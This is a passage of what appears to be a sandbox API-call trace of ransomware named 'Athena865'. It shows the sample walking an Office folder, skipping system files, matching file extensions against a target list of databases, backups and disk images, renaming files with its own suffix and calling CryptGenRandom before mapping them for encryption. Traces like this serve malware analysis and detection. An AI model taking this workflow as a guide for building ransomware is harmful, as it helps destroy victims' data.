lstrlenW (lpString="ns4") returned 3 [0143.101] lstrcmpiW (lpString1="HXC", lpString2="ns4") returned -1 [0143.101] lstrlenW (lpString="nsf") returned 3 [0143.101] lstrcmpiW (lpString1="HXC", lpString2="nsf") returned -1 [0143.101] lstrlenW (lpString="nv") returned 2 [0143.101] lstrcmpiW (lpString1="XC", lpString2="nv") returned 1 [0143.101] lstrlenW (lpString="nv2") returned 3 [0143.101] lstrcmpiW (lpString1="HXC", lpString2="nv2") returned -1 [0143.101] lstrlenW (lpString="nwdb") returned 4 [0143.101] lstrcmpiW (lpString1=".HXC", lpString2="nwdb") returned -1 [0143.101] lstrlenW (lpString="nyf") returned 3 [0143.101] lstrcmpiW (lpString1="HXC", lpString2="nyf") returned -1 [0143.101] lstrlenW (lpString="odb") returned 3 [0143.101] lstrcmpiW (lpString1="HXC", lpString2="odb") returned -1 [0143.101] lstrlenW (lpString="odb") returned 3 [0143.101] lstrcmpiW (lpString1="HXC", lpString2="odb") returned -1 [0143.101] lstrlenW (lpString="oqy") returned 3 [0143.101] lstrcmpiW (lpString1="HXC", lpString2="oqy") returned -1 [0143.101] lstrlenW (lpString="ora") returned 3 [0143.101] lstrcmpiW (lpString1="HXC", lpString2="ora") returned -1 [0143.101] lstrlenW (lpString="orx") returned 3 [0143.101] lstrcmpiW (lpString1="HXC", lpString2="orx") returned -1 [0143.101] lstrlenW (lpString="owc") returned 3 [0143.101] lstrcmpiW (lpString1="HXC", lpString2="owc") returned -1 [0143.101] lstrlenW (lpString="p96") returned 3 [0143.102] lstrcmpiW (lpString1="HXC", lpString2="p96") returned -1 [0143.102] lstrlenW (lpString="p97") returned 3 [0143.102] lstrcmpiW (lpString1="HXC", lpString2="p97") returned -1 [0143.102] lstrlenW (lpString="pan") returned 3 [0143.102] lstrcmpiW (lpString1="HXC", lpString2="pan") returned -1 [0143.102] lstrlenW (lpString="pdb") returned 3 [0143.102] lstrcmpiW (lpString1="HXC", lpString2="pdb") returned -1 [0143.102] lstrlenW (lpString="pdm") returned 3 [0143.102] lstrcmpiW (lpString1="HXC", lpString2="pdm") returned -1 [0143.102] lstrlenW (lpString="pnz") returned 3 [0143.102] lstrcmpiW (lpString1="HXC", lpString2="pnz") returned -1 [0143.102] lstrlenW (lpString="qry") returned 3 [0143.102] lstrcmpiW (lpString1="HXC", lpString2="qry") returned -1 [0143.102] lstrlenW (lpString="qvd") returned 3 [0143.102] lstrcmpiW (lpString1="HXC", lpString2="qvd") returned -1 [0143.102] lstrlenW (lpString="rbf") returned 3 [0143.102] lstrcmpiW (lpString1="HXC", lpString2="rbf") returned -1 [0143.102] lstrlenW (lpString="rctd") returned 4 [0143.102] lstrcmpiW (lpString1=".HXC", lpString2="rctd") returned -1 [0143.102] lstrlenW (lpString="rod") returned 3 [0143.102] lstrcmpiW (lpString1="HXC", lpString2="rod") returned -1 [0143.102] lstrlenW (lpString="rodx") returned 4 [0143.102] lstrcmpiW (lpString1=".HXC", lpString2="rodx") returned -1 [0143.102] lstrlenW (lpString="rpd") returned 3 [0143.102] lstrcmpiW (lpString1="HXC", lpString2="rpd") returned -1 [0143.102] lstrlenW (lpString="rsd") returned 3 [0143.102] lstrcmpiW (lpString1="HXC", lpString2="rsd") returned -1 [0143.102] lstrlenW (lpString="sas7bdat") returned 8 [0143.102] lstrcmpiW (lpString1="_COL.HXC", lpString2="sas7bdat") returned -1 [0143.102] lstrlenW (lpString="sbf") returned 3 [0143.103] lstrcmpiW (lpString1="HXC", lpString2="sbf") returned -1 [0143.103] lstrlenW (lpString="scx") returned 3 [0143.103] lstrcmpiW (lpString1="HXC", lpString2="scx") returned -1 [0143.103] lstrlenW (lpString="sdb") returned 3 [0143.103] lstrcmpiW (lpString1="HXC", lpString2="sdb") returned -1 [0143.103] lstrlenW (lpString="sdc") returned 3 [0143.103] lstrcmpiW (lpString1="HXC", lpString2="sdc") returned -1 [0143.103] lstrlenW (lpString="sdf") returned 3 [0143.103] lstrcmpiW (lpString1="HXC", lpString2="sdf") returned -1 [0143.103] lstrlenW (lpString="sis") returned 3 [0143.103] lstrcmpiW (lpString1="HXC", lpString2="sis") returned -1 [0143.103] lstrlenW (lpString="spq") returned 3 [0143.103] lstrcmpiW (lpString1="HXC", lpString2="spq") returned -1 [0143.103] lstrlenW (lpString="te") returned 2 [0143.103] lstrcmpiW (lpString1="XC", lpString2="te") returned 1 [0143.103] lstrlenW (lpString="teacher") returned 7 [0143.103] lstrcmpiW (lpString1="COL.HXC", lpString2="teacher") returned -1 [0143.103] lstrlenW (lpString="tmd") returned 3 [0143.103] lstrcmpiW (lpString1="HXC", lpString2="tmd") returned -1 [0143.103] lstrlenW (lpString="tps") returned 3 [0143.103] lstrcmpiW (lpString1="HXC", lpString2="tps") returned -1 [0143.103] lstrlenW (lpString="trc") returned 3 [0143.103] lstrcmpiW (lpString1="HXC", lpString2="trc") returned -1 [0143.103] lstrlenW (lpString="trc") returned 3 [0143.103] lstrcmpiW (lpString1="HXC", lpString2="trc") returned -1 [0143.103] lstrlenW (lpString="trm") returned 3 [0143.103] lstrcmpiW (lpString1="HXC", lpString2="trm") returned -1 [0143.103] lstrlenW (lpString="udb") returned 3 [0143.103] lstrcmpiW (lpString1="HXC", lpString2="udb") returned -1 [0143.103] lstrlenW (lpString="udl") returned 3 [0143.103] lstrcmpiW (lpString1="HXC", lpString2="udl") returned -1 [0143.104] lstrlenW (lpString="usr") returned 3 [0143.104] lstrcmpiW (lpString1="HXC", lpString2="usr") returned -1 [0143.104] lstrlenW (lpString="v12") returned 3 [0143.104] lstrcmpiW (lpString1="HXC", lpString2="v12") returned -1 [0143.104] lstrlenW (lpString="vis") returned 3 [0143.104] lstrcmpiW (lpString1="HXC", lpString2="vis") returned -1 [0143.104] lstrlenW (lpString="vpd") returned 3 [0143.104] lstrcmpiW (lpString1="HXC", lpString2="vpd") returned -1 [0143.104] lstrlenW (lpString="vvv") returned 3 [0143.104] lstrcmpiW (lpString1="HXC", lpString2="vvv") returned -1 [0143.104] lstrlenW (lpString="wdb") returned 3 [0143.104] lstrcmpiW (lpString1="HXC", lpString2="wdb") returned -1 [0143.104] lstrlenW (lpString="wmdb") returned 4 [0143.104] lstrcmpiW (lpString1=".HXC", lpString2="wmdb") returned -1 [0143.104] lstrlenW (lpString="wrk") returned 3 [0143.104] lstrcmpiW (lpString1="HXC", lpString2="wrk") returned -1 [0143.104] lstrlenW (lpString="xdb") returned 3 [0143.104] lstrcmpiW (lpString1="HXC", lpString2="xdb") returned -1 [0143.104] lstrlenW (lpString="xld") returned 3 [0143.104] lstrcmpiW (lpString1="HXC", lpString2="xld") returned -1 [0143.104] lstrlenW (lpString="xmlff") returned 5 [0143.104] lstrcmpiW (lpString1="L.HXC", lpString2="xmlff") returned -1 [0143.104] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC.Athena865") returned 71 [0143.104] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxc.athena865"), dwFlags=0x1) returned 1 [0143.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxc.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0143.106] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=621) returned 1 [0143.106] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0143.106] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0143.106] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0143.106] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0143.107] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0143.107] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.107] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x570, lpName=0x0) returned 0x17c [0143.109] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x570) returned 0x100000 [0143.117] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0143.117] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0143.117] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.117] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0143.117] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0143.117] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0143.117] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0143.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0143.118] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0143.118] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0143.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0143.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0143.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0143.118] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0143.118] CloseHandle (hObject=0x17c) returned 1 [0143.118] CloseHandle (hObject=0x154) returned 1 [0143.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0143.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0143.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0143.118] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b784700, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b784700, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSPUB_COL.HXT", cAlternateFileName="MSPUB_~1.HXT")) returned 1 [0143.118] lstrcmpiW (lpString1="MSPUB_COL.HXT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0143.118] lstrcmpiW (lpString1="MSPUB_COL.HXT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0143.119] lstrcmpiW (lpString1="MSPUB_COL.HXT", lpString2=".") returned 1 [0143.119] lstrcmpiW (lpString1="MSPUB_COL.HXT", lpString2="..") returned 1 [0143.119] lstrcmpiW (lpString1="MSPUB_COL.HXT", lpString2="windows") returned -1 [0143.119] lstrcmpiW (lpString1="MSPUB_COL.HXT", lpString2="bootmgr") returned 1 [0143.119] lstrcmpiW (lpString1="MSPUB_COL.HXT", lpString2="temp") returned -1 [0143.119] lstrcmpiW (lpString1="MSPUB_COL.HXT", lpString2="pagefile.sys") returned -1 [0143.119] lstrcmpiW (lpString1="MSPUB_COL.HXT", lpString2="boot") returned 1 [0143.119] lstrcmpiW (lpString1="MSPUB_COL.HXT", lpString2="ids.txt") returned 1 [0143.119] lstrcmpiW (lpString1="MSPUB_COL.HXT", lpString2="ntuser.dat") returned -1 [0143.119] lstrcmpiW (lpString1="MSPUB_COL.HXT", lpString2="perflogs") returned -1 [0143.119] lstrcmpiW (lpString1="MSPUB_COL.HXT", lpString2="MSBuild") returned 1 [0143.119] lstrlenW (lpString="MSPUB_COL.HXT") returned 13 [0143.119] lstrcpyW (in: lpString1=0x241e8a8, lpString2="MSPUB_COL.HXT" | out: lpString1="MSPUB_COL.HXT") returned="MSPUB_COL.HXT" [0143.119] lstrlenW (lpString="MSPUB_COL.HXT") returned 13 [0143.119] lstrlenW (lpString="Athena865") returned 9 [0143.119] lstrcmpiW (lpString1="B_COL.HXT", lpString2="Athena865") returned 1 [0143.119] lstrlenW (lpString=".dll") returned 4 [0143.119] lstrcmpiW (lpString1="MSPUB_COL.HXT", lpString2=".dll") returned 1 [0143.119] lstrlenW (lpString=".lnk") returned 4 [0143.119] lstrcmpiW (lpString1="MSPUB_COL.HXT", lpString2=".lnk") returned 1 [0143.119] lstrlenW (lpString=".ini") returned 4 [0143.119] lstrcmpiW (lpString1="MSPUB_COL.HXT", lpString2=".ini") returned 1 [0143.119] lstrlenW (lpString=".sys") returned 4 [0143.119] lstrcmpiW (lpString1="MSPUB_COL.HXT", lpString2=".sys") returned 1 [0143.119] lstrlenW (lpString="MSPUB_COL.HXT") returned 13 [0143.119] lstrlenW (lpString="bak") returned 3 [0143.119] lstrcmpiW (lpString1="HXT", lpString2="bak") returned 1 [0143.119] lstrlenW (lpString="ba_") returned 3 [0143.119] lstrcmpiW (lpString1="HXT", lpString2="ba_") returned 1 [0143.119] lstrlenW (lpString="dbb") returned 3 [0143.119] lstrcmpiW (lpString1="HXT", lpString2="dbb") returned 1 [0143.119] lstrlenW (lpString="vmdk") returned 4 [0143.120] lstrcmpiW (lpString1=".HXT", lpString2="vmdk") returned -1 [0143.120] lstrlenW (lpString="rar") returned 3 [0143.120] lstrcmpiW (lpString1="HXT", lpString2="rar") returned -1 [0143.120] lstrlenW (lpString="zip") returned 3 [0143.120] lstrcmpiW (lpString1="HXT", lpString2="zip") returned -1 [0143.120] lstrlenW (lpString="tgz") returned 3 [0143.120] lstrcmpiW (lpString1="HXT", lpString2="tgz") returned -1 [0143.120] lstrlenW (lpString="vbox") returned 4 [0143.120] lstrcmpiW (lpString1=".HXT", lpString2="vbox") returned -1 [0143.120] lstrlenW (lpString="vdi") returned 3 [0143.120] lstrcmpiW (lpString1="HXT", lpString2="vdi") returned -1 [0143.120] lstrlenW (lpString="vhd") returned 3 [0143.120] lstrcmpiW (lpString1="HXT", lpString2="vhd") returned -1 [0143.120] lstrlenW (lpString="vhdx") returned 4 [0143.120] lstrcmpiW (lpString1=".HXT", lpString2="vhdx") returned -1 [0143.120] lstrlenW (lpString="avhd") returned 4 [0143.120] lstrcmpiW (lpString1=".HXT", lpString2="avhd") returned -1 [0143.120] lstrlenW (lpString="db") returned 2 [0143.120] lstrcmpiW (lpString1="XT", lpString2="db") returned 1 [0143.120] lstrlenW (lpString="db2") returned 3 [0143.120] lstrcmpiW (lpString1="HXT", lpString2="db2") returned 1 [0143.120] lstrlenW (lpString="db3") returned 3 [0143.120] lstrcmpiW (lpString1="HXT", lpString2="db3") returned 1 [0143.120] lstrlenW (lpString="dbf") returned 3 [0143.120] lstrcmpiW (lpString1="HXT", lpString2="dbf") returned 1 [0143.120] lstrlenW (lpString="mdf") returned 3 [0143.120] lstrcmpiW (lpString1="HXT", lpString2="mdf") returned -1 [0143.120] lstrlenW (lpString="mdb") returned 3 [0143.120] lstrcmpiW (lpString1="HXT", lpString2="mdb") returned -1 [0143.120] lstrlenW (lpString="sql") returned 3 [0143.120] lstrcmpiW (lpString1="HXT", lpString2="sql") returned -1 [0143.120] lstrlenW (lpString="sqlite") returned 6 [0143.120] lstrcmpiW (lpString1="OL.HXT", lpString2="sqlite") returned -1 [0143.121] lstrlenW (lpString="sqlite3") returned 7 [0143.121] lstrcmpiW (lpString1="COL.HXT", lpString2="sqlite3") returned -1 [0143.121] lstrlenW (lpString="sqlitedb") returned 8 [0143.121] lstrcmpiW (lpString1="_COL.HXT", lpString2="sqlitedb") returned -1 [0143.121] lstrlenW (lpString="xml") returned 3 [0143.121] lstrcmpiW (lpString1="HXT", lpString2="xml") returned -1 [0143.121] lstrlenW (lpString="$er") returned 3 [0143.121] lstrcmpiW (lpString1="HXT", lpString2="$er") returned 1 [0143.121] lstrlenW (lpString="4dd") returned 3 [0143.121] lstrcmpiW (lpString1="HXT", lpString2="4dd") returned 1 [0143.121] lstrlenW (lpString="4dl") returned 3 [0143.121] lstrcmpiW (lpString1="HXT", lpString2="4dl") returned 1 [0143.121] lstrlenW (lpString="^^^") returned 3 [0143.121] lstrcmpiW (lpString1="HXT", lpString2="^^^") returned 1 [0143.121] lstrlenW (lpString="abs") returned 3 [0143.121] lstrcmpiW (lpString1="HXT", lpString2="abs") returned 1 [0143.121] lstrlenW (lpString="abx") returned 3 [0143.121] lstrcmpiW (lpString1="HXT", lpString2="abx") returned 1 [0143.121] lstrlenW (lpString="accdb") returned 5 [0143.121] lstrcmpiW (lpString1="L.HXT", lpString2="accdb") returned 1 [0143.121] lstrlenW (lpString="accdc") returned 5 [0143.121] lstrcmpiW (lpString1="L.HXT", lpString2="accdc") returned 1 [0143.121] lstrlenW (lpString="accde") returned 5 [0143.121] lstrcmpiW (lpString1="L.HXT", lpString2="accde") returned 1 [0143.121] lstrlenW (lpString="accdr") returned 5 [0143.121] lstrcmpiW (lpString1="L.HXT", lpString2="accdr") returned 1 [0143.121] lstrlenW (lpString="accdt") returned 5 [0143.121] lstrcmpiW (lpString1="L.HXT", lpString2="accdt") returned 1 [0143.121] lstrlenW (lpString="accdw") returned 5 [0143.121] lstrcmpiW (lpString1="L.HXT", lpString2="accdw") returned 1 [0143.121] lstrlenW (lpString="accft") returned 5 [0143.121] lstrcmpiW (lpString1="L.HXT", lpString2="accft") returned 1 [0143.122] lstrlenW (lpString="adb") returned 3 [0143.122] lstrcmpiW (lpString1="HXT", lpString2="adb") returned 1 [0143.122] lstrlenW (lpString="adb") returned 3 [0143.122] lstrcmpiW (lpString1="HXT", lpString2="adb") returned 1 [0143.122] lstrlenW (lpString="ade") returned 3 [0143.122] lstrcmpiW (lpString1="HXT", lpString2="ade") returned 1 [0143.122] lstrlenW (lpString="adf") returned 3 [0143.122] lstrcmpiW (lpString1="HXT", lpString2="adf") returned 1 [0143.122] lstrlenW (lpString="adn") returned 3 [0143.122] lstrcmpiW (lpString1="HXT", lpString2="adn") returned 1 [0143.122] lstrlenW (lpString="adp") returned 3 [0143.122] lstrcmpiW (lpString1="HXT", lpString2="adp") returned 1 [0143.122] lstrlenW (lpString="alf") returned 3 [0143.122] lstrcmpiW (lpString1="HXT", lpString2="alf") returned 1 [0143.122] lstrlenW (lpString="ask") returned 3 [0143.122] lstrcmpiW (lpString1="HXT", lpString2="ask") returned 1 [0143.122] lstrlenW (lpString="btr") returned 3 [0143.122] lstrcmpiW (lpString1="HXT", lpString2="btr") returned 1 [0143.122] lstrlenW (lpString="cat") returned 3 [0143.122] lstrcmpiW (lpString1="HXT", lpString2="cat") returned 1 [0143.122] lstrlenW (lpString="cdb") returned 3 [0143.122] lstrcmpiW (lpString1="HXT", lpString2="cdb") returned 1 [0143.122] lstrlenW (lpString="ckp") returned 3 [0143.122] lstrcmpiW (lpString1="HXT", lpString2="ckp") returned 1 [0143.122] lstrlenW (lpString="cma") returned 3 [0143.122] lstrcmpiW (lpString1="HXT", lpString2="cma") returned 1 [0143.122] lstrlenW (lpString="cpd") returned 3 [0143.122] lstrcmpiW (lpString1="HXT", lpString2="cpd") returned 1 [0143.122] lstrlenW (lpString="dacpac") returned 6 [0143.122] lstrcmpiW (lpString1="OL.HXT", lpString2="dacpac") returned 1 [0143.122] lstrlenW (lpString="dad") returned 3 [0143.122] lstrcmpiW (lpString1="HXT", lpString2="dad") returned 1 [0143.122] lstrlenW (lpString="dadiagrams") returned 10 [0143.123] lstrcmpiW (lpString1="UB_COL.HXT", lpString2="dadiagrams") returned 1 [0143.123] lstrlenW (lpString="daschema") returned 8 [0143.123] lstrcmpiW (lpString1="_COL.HXT", lpString2="daschema") returned -1 [0143.123] lstrlenW (lpString="db-journal") returned 10 [0143.123] lstrcmpiW (lpString1="UB_COL.HXT", lpString2="db-journal") returned 1 [0143.123] lstrlenW (lpString="db-shm") returned 6 [0143.123] lstrcmpiW (lpString1="OL.HXT", lpString2="db-shm") returned 1 [0143.123] lstrlenW (lpString="db-wal") returned 6 [0143.123] lstrcmpiW (lpString1="OL.HXT", lpString2="db-wal") returned 1 [0143.123] lstrlenW (lpString="dbc") returned 3 [0143.123] lstrcmpiW (lpString1="HXT", lpString2="dbc") returned 1 [0143.123] lstrlenW (lpString="dbs") returned 3 [0143.123] lstrcmpiW (lpString1="HXT", lpString2="dbs") returned 1 [0143.123] lstrlenW (lpString="dbt") returned 3 [0143.123] lstrcmpiW (lpString1="HXT", lpString2="dbt") returned 1 [0143.123] lstrlenW (lpString="dbv") returned 3 [0143.123] lstrcmpiW (lpString1="HXT", lpString2="dbv") returned 1 [0143.123] lstrlenW (lpString="dbx") returned 3 [0143.123] lstrcmpiW (lpString1="HXT", lpString2="dbx") returned 1 [0143.123] lstrlenW (lpString="dcb") returned 3 [0143.123] lstrcmpiW (lpString1="HXT", lpString2="dcb") returned 1 [0143.123] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT.Athena865") returned 71 [0143.123] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxt.athena865"), dwFlags=0x1) returned 1 [0143.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0143.125] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=205) returned 1 [0143.125] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0143.125] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0143.125] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0143.126] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0143.126] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0143.126] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.127] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3d0, lpName=0x0) returned 0x17c [0143.133] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3d0) returned 0x100000 [0143.135] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0143.135] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0143.135] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.136] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0143.136] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0143.136] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0143.136] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0143.136] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0143.136] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0143.136] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0143.136] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0143.136] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0143.136] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0143.136] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0143.136] CloseHandle (hObject=0x17c) returned 1 [0143.136] CloseHandle (hObject=0x154) returned 1 [0143.136] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0143.136] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0143.136] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0143.137] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b784700, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b784700, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSPUB_F_COL.HXK", cAlternateFileName="MSPUB_~1.HXK")) returned 1 [0143.137] lstrcmpiW (lpString1="MSPUB_F_COL.HXK", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0143.137] lstrcmpiW (lpString1="MSPUB_F_COL.HXK", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0143.137] lstrcmpiW (lpString1="MSPUB_F_COL.HXK", lpString2=".") returned 1 [0143.137] lstrcmpiW (lpString1="MSPUB_F_COL.HXK", lpString2="..") returned 1 [0143.137] lstrcmpiW (lpString1="MSPUB_F_COL.HXK", lpString2="windows") returned -1 [0143.137] lstrcmpiW (lpString1="MSPUB_F_COL.HXK", lpString2="bootmgr") returned 1 [0143.137] lstrcmpiW (lpString1="MSPUB_F_COL.HXK", lpString2="temp") returned -1 [0143.137] lstrcmpiW (lpString1="MSPUB_F_COL.HXK", lpString2="pagefile.sys") returned -1 [0143.137] lstrcmpiW (lpString1="MSPUB_F_COL.HXK", lpString2="boot") returned 1 [0143.137] lstrcmpiW (lpString1="MSPUB_F_COL.HXK", lpString2="ids.txt") returned 1 [0143.137] lstrcmpiW (lpString1="MSPUB_F_COL.HXK", lpString2="ntuser.dat") returned -1 [0143.137] lstrcmpiW (lpString1="MSPUB_F_COL.HXK", lpString2="perflogs") returned -1 [0143.137] lstrcmpiW (lpString1="MSPUB_F_COL.HXK", lpString2="MSBuild") returned 1 [0143.137] lstrlenW (lpString="MSPUB_F_COL.HXK") returned 15 [0143.137] lstrcpyW (in: lpString1=0x241e8a8, lpString2="MSPUB_F_COL.HXK" | out: lpString1="MSPUB_F_COL.HXK") returned="MSPUB_F_COL.HXK" [0143.137] lstrlenW (lpString="MSPUB_F_COL.HXK") returned 15 [0143.137] lstrlenW (lpString="Athena865") returned 9 [0143.137] lstrcmpiW (lpString1="F_COL.HXK", lpString2="Athena865") returned 1 [0143.137] lstrlenW (lpString=".dll") returned 4 [0143.137] lstrcmpiW (lpString1="MSPUB_F_COL.HXK", lpString2=".dll") returned 1 [0143.137] lstrlenW (lpString=".lnk") returned 4 [0143.137] lstrcmpiW (lpString1="MSPUB_F_COL.HXK", lpString2=".lnk") returned 1 [0143.137] lstrlenW 